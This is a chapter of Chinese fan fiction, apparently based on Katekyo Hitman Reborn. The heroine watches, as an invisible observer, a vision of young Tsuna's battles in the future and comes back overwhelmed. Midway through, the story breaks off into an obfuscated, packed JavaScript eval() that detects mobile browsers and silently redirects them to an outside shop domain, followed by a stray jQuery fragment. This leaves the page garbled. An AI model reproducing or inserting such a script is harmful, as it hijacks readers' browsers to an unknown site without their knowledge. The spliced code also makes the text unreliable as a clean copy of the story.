石壁上的壁画有些模糊,像是糊上了一团马赛克一样,只能看到隐隐约约的一点点东西。
皱皱眉,初本夕颜往前走了一步,试图看清楚壁画上画了什么。
结果突然一阵眩晕袭来,因为太过突然,初本夕颜甚至来不及反应,
脚下踩实的地面消失了,手臂本能的试图伸手去抓住什么,但是指间只触碰到一片虚无的空气。
等到她脚下再次踩到地面的时候,初本夕颜愣住了,她发现自己正站在了一片松软的泥土上,身处于一片树林里。
这有点像是西西里的橄榄树林,但是不知为何,光只是站在这里,初本夕颜心里就有些隐隐的不安。
这里的空气是潮湿的,带着泥土和草木的气息。
初本夕颜低头看了看自己,还是之前在小镇的那套衣服,右手上依旧有那些黑色纹路,但是不知为何她的左眼眼皮又隐隐跳动了一下。
她抬起头,目光穿过那些粗壮的树干,看向前方。
既然搞不清楚现在是在哪里,要做什么,就先去看看吧。
但是才没走多久,初本夕颜就见到了面前的一具棺材,静静地停在那里。
这是一具黑色的木质棺材,它安静地躺在那些高过脚踝的草丛中,但是棺材的正面,有一个图案,让初本夕颜瞳孔猛缩的图案。
在认出那个图案的瞬间,初本夕颜感觉自己体内的血液开始倒流,心脏开始猛撞胸腔,指尖开始发凉,后颈的汗毛一根一根地竖了起来。
她认识这个图案。
不管是从彭格列本部那间会议室的墙壁上,还是从主楼大厅壁炉上方的徽章上,或者从老管家胸口别着的胸针上,还有从沢田纲吉一直在用的那只钢笔上......她在过去几天里见过这个图案无数次,已经熟悉到闭着眼睛都能想象出来的程度。
但她从来没有在一具棺材上见过它。
初本夕颜站在原地,看着那具刻着彭格列家徽的黑色棺材。
风从空地的另一侧吹过来,将高过脚踝的草吹得伏倒又立起,将树冠上的叶片吹得翻转又回正,将她的头发从脸侧吹散又吹回。
她没有动,她不知道自己站在那里多久,直到站得自己的脚在发麻,一个莫名出现在脑海中的念头她不想过去。
这个莫名的念头让她不想看那具棺材里躺着谁,她不想知道那个被放在这片无人知晓的森林里的棺材里,到底装着谁。
但她必须过去......
初本夕颜迈出了第一步。
草茎从她半透明的膝盖两侧分开又合拢,没有发出任何声响,没有留下任何痕迹,她走得很慢,每一步都像是在泥沼中跋涉,她走到棺材前面了,她的手指悬在棺材盖的边缘上方微微颤抖。
她不知道自己为什么在抖,她已经见过太多死亡了,港口□□时期的每一次任务都会有人死,有些是她杀的,有些是别人杀的,有些是死在离她不到一米的地方,血溅到她的衣服上、脸上、手上。
她以为自己已经习惯了,习惯到看到尸体的时候眼皮都不会抬一下。
但她的手指在抖,她害怕棺材里是她最不想看见的那张脸。
在她准备触碰棺材的时候,里面突然传来一阵闷响,好像是有人在里面,但是当初本夕颜试图去掀开棺材的时候她发现自己的手凭空传了过去,她碰不到这里的东西。
这不是她的世界,应该说她只是一个突然出现的观察者,一个不能被看见、不能触碰、不能改变任何事情的幽灵。
不等她细细思考,这次棺材真的被掀开了,一个身穿卫衣的棕发少年掀开棺材坐了起来。
是沢田纲吉,十年前的沢田纲吉。
这一次初本夕颜站定了,她看着这个熟悉的少年双眼中带着我在哪里的茫然。
少年的脸庞没有十年后的棱角分明,是国中时期那种软绵绵的脸颊,像是一只兔子一样。
他则目光扫过周边,扫过空地,扫过旁边高耸的树木,最后扫过一旁的初本夕颜。
但是他的目光没有停留,清澈的琥珀色眼睛里没有任何人的倒影,他看不见她。
随后,熟悉的狱寺隼人出现了,是她现在认识的狱寺隼人,初本夕颜在他身旁,听到了十年后火箭筒的信息,听到了狱寺隼人交代沢田纲吉回到十年前要做什么。
然后,沢田纲吉问出了初本夕颜心中的问题,为什么十年前的沢田纲吉会出现在棺材里。
尽管狱寺隼人还没有回答就已经被十年前的狱寺隼人替代了,但是初本夕颜还是知道了答案,那是因为十年后的沢田纲吉已经死了。
这一分钟,初本夕颜终于理解了为什么之前Reborn在提及沢田纲吉这十年的不容易的时候,会提了一嘴最不容易的未来战。
她的胸腔里有什么东西在翻涌,像是有什么东西在她的身体最深处炸开了一样,震波从她的胸口向四面八方扩散,让她的每一寸皮肤、每一根骨头都在承受着难以言说的疼痛。
那种痛不是尖锐的,不是刺痛的,不是任何她熟悉的伤能比拟的,它是钝的,是沉重的,是像一块巨大的、滚烫的石头压在胸口,压得她喘不上气,压得她的心脏在胸腔里被挤压成一张薄片,压得她的每一次呼吸都要用尽全力。
她想吐,她想弯下腰,想蜷缩起来,想把身体缩成很小很小的一团,想闭上眼睛,想从这个幻象里出去,想回到地下室里,想回到那面石壁前,想回到沢田纲吉还站在她身后的那个时刻。
但是这个幻境依旧存在,随着一个叫拉尔的女人出现,初本夕颜跟随着他们经过一系列战斗,遇到了十年后的山本武后,来到了他们在并盛町建筑的地下基地里。
基地的内部比她想象的大,走廊比之前那个地下基地更宽,天花板更高,灯光是暖黄色的,整体来说,这个基地看起来像是能住人的地方,不是临时搭建的避难所。
随着沢田纲吉他们在十年后的时间越来越长,十年前他身边的人基本上都陆续来到了十年前,包括十年后也已经死去的Reborn,还有两个国中女生。
她们两个初本夕颜认识,一个叫笹川京子,一个叫三浦春,十年前在并盛町,她见过她们很多次,虽然不是特别熟,但能叫出名字。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820963|209083||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
但是为什么......她们也会出现在十年后呢?
她们不是战斗人员,不是□□成员,不是任何和这个世界有关的人,她们是普通人,是应该被保护在后方、不应该被卷进来、不应该知道任何事情的人。
如果十年前自己的背景和资料都是没问题的,那么十年前的自己会不会也将出现在这里?为什么她们也会出现在十年后?
这个问题从初本夕颜脑海中闪过的时候,她的手指又蜷缩了一下。
如果笹川京子和三浦春都在这里,如果这两个和彭格列没有任何直接关系的普通女孩都被卷进了这场战争,那么——
那么她自己呢?
十年前的自己呢?
那个在并盛町和沢田纲吉一起上学放学,一起在便利店门口吃冰棍,会在笔记本页边空白处画兔子,会因为考试不及格而叹气,会因为妈妈病情稳定而开心的十四岁的初本夕颜呢?
如果她的背景和资料都是正常的,那么十年前的初本夕颜,会不会也会出现在这个地下基地里,然后为沢田纲吉的这场战斗尽一份自己的力量?
初本夕颜站在地下基地的会议室门口,站了很久。
没有人注意到她,没有人能看到她,她像一个幽灵,站在这个她不存在的世界里,看着那些她本可能经历的事情。
这一切初本夕颜都不知道该怎么说,她就像一个背后灵一样跟着沢田纲吉,看着他在不停地训练,但是还是被白兰手下的六吊花打败。
她一直围观着它们的行动,直到入江正一叛变到彭格列这边,揭晓之前参与战斗的所谓的六吊花只是假货,真正的目标是让纲吉进入游戏。
叹了口气,初本夕颜很想能够去拥抱一下这个沢田纲吉,才十四岁的他现在承载的任务实在是太大了,不仅是拯救自己的亲友,还有世界。
在沢田纲吉准备回到十年前接受初代的试炼之前,初本夕颜走上前,手悬在他的头顶上方,一下一下地、轻轻地、像抚摸一只受伤的小动物一样,抚摸着她碰不到的头发。
她的嘴唇微微弯了一下。
就这样吧,初本夕颜把手收回来,站起来,退后一步。
假装这次的经历她其实也陪伴在他身边了。
然后在沢田纲吉他们回到十年前的瞬间,初本夕颜画面开始褪色,也回到了那个地下室,她站在了壁画面前,身边的沢田纲吉呆呆地站着,像是进入了另一个幻境。
她看着已经长大的沢田纲吉,眼眶一下子红了起来。
她想起十四岁的他,那个从棺材里坐起来的少年,穿着卫衣,头发软软的,眼睛里有茫然,但没有恐惧。
她在那段时间里跟在他身后,看着他训练、战斗、受伤、爬起来、再战斗、再受伤、再爬起来,但她没有看到结局,她没有看到那场最终决战,没有看到他有没有打赢白兰,没有看到他有没有从那个被白兰毁灭的未来里,把所有人都带回来。
她不知道结局。
但她知道一件事,他活着。
这就足够了,他能够好好的活下来,就是最好的结果。